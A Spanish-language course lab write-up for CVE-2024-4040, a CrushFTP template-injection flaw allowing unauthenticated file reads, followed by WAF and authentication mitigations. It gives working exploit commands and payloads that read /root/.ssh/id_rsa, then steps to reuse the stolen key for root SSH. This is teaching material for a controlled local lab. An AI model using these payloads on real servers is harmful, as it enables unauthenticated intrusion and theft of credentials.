
Prueba de concepto para CVE-2024-4040 (CrushFTP SSTI -> unauthenticated LFI) en un entorno de laboratorio controlado CS443 - solo para uso educativo/autorizado.
Solo para uso educativo y de laboratorio autorizado.
CS443 Seguridad de Software y Sistemas — entorno Docker local controlado.
| Campo | Detalle |
|---|---|
| CVE | CVE-2024-4040 |
| Software afectado | CrushFTP < 10.7.1 (v10 branch) / < 11.1.0 (v11 branch) |
| Tipo de vulnerabilidad | Server-Side Template Injection (SSTI) → Lectura de archivos local no autenticada |
| Puntuación CVSS | 9.8 Crítica |
| Impacto | Los atacantes no autenticados pueden leer archivos arbitrarios del sistema de archivos del servidor |
El WebInterface de CrushFTP evalúa expresiones de plantilla en el parámetro path del comando zip sin sanitización. Un atacante no autenticado puede obtener cookies de sesión anónimas y luego usarlas para pasar cargas útiles de plantillas ({working_dir}, <INCLUDE>…</INCLUDE>) que el servidor evalúa y devuelve, permitiendo la lectura de archivos arbitrarios en todo el host.
| Componente | Valor |
|---|---|
| Objetivo | http://localhost:8080 |
| Versión base de CrushFTP para PoC | 10.3.0 (intencionalmente vulnerable) |
| Entorno de prueba de Mitigación 3 | Contenedor separado ejecutando CrushFTP 11.x (rama parcheada) |
| Puerto SSH (contenedor) | 2222 → 22 |
| Credenciales de administrador | admin / admin |
| Runtime del contenedor | Docker (Compose) |
pip install requests rich
| Script | Fuente | Propósito |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Exploit completo de SSTI/LFI — robo de sesión, lectura arbitraria de archivos |
recon.py | Este repositorio | Detección de versión, sondeo SSTI en vivo, confirmación de vulnerabilidad |
docker-compose up -d
Espere aproximadamente 10 segundos para que CrushFTP se inicialice completamente antes de ejecutar los scripts. No se requiere un paso de reconocimiento separado aquí porque crushed.py ya verifica si la explotación es posible durante la ejecución.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
El script hará lo siguiente:
CrushAuth / currentAuth desde /WebInterface/{working_dir} para resolver el directorio de instalación de CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> para leer el archivo objetivoCopiar el bloque de la clave privada de la salida (todo desde -----BEGIN OPENSSH PRIVATE KEY----- hasta -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
| Problema | Ubicación | Detalles |
|---|---|---|
| Dependencia faltante | Líneas 6–9 | Requiere pip install rich antes de ejecutar |
| Análisis XML frágil | Líneas 86, 140 | Falla en respuestas del servidor que no son XML; sin manejo de ParseError |
| Expresión regular de token demasiado estricta | Líneas 160–161 | El patrón CrushAuth=…; currentAuth=… puede no coincidir con todos los formatos de sessions.obj |
| Solo HTTP 404 | Línea 53 | La captura de cookies solo tiene éxito con 404; pasa silenciosamente en otros códigos de estado |
Un WAF actúa como un proxy inverso que inspecciona el tráfico HTTP/S entrante antes de que llegue a CrushFTP. Usando NGINX con ModSecurity, las solicitudes maliciosas que explotan CVE-2024-4040 se bloquean en el borde de la red sin modificar CrushFTP.
../, %2e%2e) en las URI de solicitud y cookiesUsar Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Usar Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
CVE-2024-4040 es explotable sin autenticación. En este laboratorio, el acceso anónimo se bloquea en la capa de NGINX al requerir un encabezado Authorization antes de enviar rutas sensibles a CrushFTP.
crushed.py dependen del acceso no autenticado; las solicitudes sin credenciales son rechazadas con 401/WebInterface/ y / son denegadas a menos que estén presentes datos de autenticaciónservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp